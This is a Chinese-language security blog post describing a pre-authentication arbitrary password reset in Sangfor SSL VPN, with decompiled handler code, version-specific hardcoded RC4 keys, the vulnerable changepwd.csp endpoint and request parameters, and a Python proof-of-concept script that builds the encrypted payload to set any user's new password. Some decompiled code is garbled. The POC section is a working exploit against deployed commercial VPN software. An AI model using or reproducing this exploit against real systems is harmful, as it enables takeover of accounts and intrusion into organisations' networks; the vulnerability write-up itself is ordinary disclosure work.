

深信服 SSL VPN Nday - Pre Auth 任 意密码重置

#hw2020 #深信服

字数统计: 323 阅读时长: 1 min

23 2020/09/15 **✓** Share

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

测试于: M7.6.1

为啥不测高版本…因为升级到 M7.6.8R2 后新客户端总连不上,同时各种环境开启机子带不动 Orz

更新:

- 01. 高版本(如M7.6.8R2) 直接删除相关函数
- 02. 低版本(如M7.6.6R1) 升级版存在此漏洞
- 03. 打了 5.x-7.x 补丁的无法利用,然而修补方式是真滴 ⑤ ❷

分析

01. 差不多的逻辑





```
### Response set header(*(_OWORD *)&al + 1), "Pragma", "no-cache");

### Response set header(*(_OWORD *)&al + 1), "Cache-Control*, "no-cache");

### Set two response set header(*(_OWORD *)&al + 1), "Cache-Control*, "no-cache");

### Set two response set header(*(_OWORD *)&al + 1), "Content-type," 'text/html; charset=utf-8");

### Set two response of the set of two response of two res
```

02. 唯独多了个 RC4 解密, key 是 20100720

03. 在数据提取中写的有点奇怪,使用 ,和 = 作为分隔符,所以我们的数据也要类似如:

,username=test,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=QQ123456,





```
1 void __fastcall getKeyValue(const char *a1, const char *a2, void *a3, int a4)
    2 {
         int v4; // [rsp+4h] [rbp-4Ch]
void *dest; // [rsp+8h] [rbp-48h]
char *v6; // [rsp+28h] [rbp-28h]
int v7; // [rsp+3Ch] [rbp-14h]
char *haystack; // [rsp+40h] [rbp-10h]
char v9; // [rsp+4Fh] [rbp-1h]
  10
         dest = a3:
             = a4;
         if ( a1 && a2 )
  12
  13
            if (a4 == 1)
  14
  15
            {
               v9 = 44;
  16
17
  18
  19
               if ( a4 != 2 )
  20
                  return;
  22
23
               v9 = 38;
            }
v7 = strlen(a2);
'cab = strst
  25
26
            haystack = strstr(a1, a2);
if ( haystack && haystack != a1 )
  27
  28
29
               while ( *haystack && (haystack[v7] != 61 || *(haystack - 1) != v9) )
  30
                  haystack = strstr(haystack + 1, a2);
  31
                  if (!haystack)
                     return;
  32
  33
               if ( *haystack )
  35
                  v6 = strchr(&haystack[v7 + 1], v9);
  36
                  if ( v6 )
  38
                     memcpy(dest, &haystack[v7 + 1], v6 - 1 - &haystack[v7]);
if ( v4 == 1 )
   str_replace_char(dest, 13LL, 44LL);
  39
  40
   41
  42
  43
              }
   44
  45
• 46 }
```

POC

- M7.6.6R1 key 为 20181118
- M7.6.1 key 为 20100720

其他版本另寻

```
https://<path>/por/changepwd.csp

sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN

from Crypto.Cipher import ARC4
from binascii import a2b_hex

def myRC4(data,key):
    rc41 = ARC4.new(key)
    encrypted = rc41.encrypt(data)
    return encrypted.encode('hex')

def rc4_decrpt_hex(data,key):
    rc41 = ARC4.new(key)
    return rc41.decrypt(a2b_hex(data))
key = '20100720'
data = r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,print myRC4(data, key)
```

^

>

效果就不展示了, 动图太麻烦

原文作者: Sariel.D

原文链接: https://blog.sari3l.com/posts/9a92d107/

发表日期: September 15th 2020, 11:04:12 am 更新日期: September 15th 2020, 11:23:03 pm

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

Previous Post >

深信服 SSL VPN Nday - Pre Auth 修改绑定手机



Powered by Hexo **★** theme Archer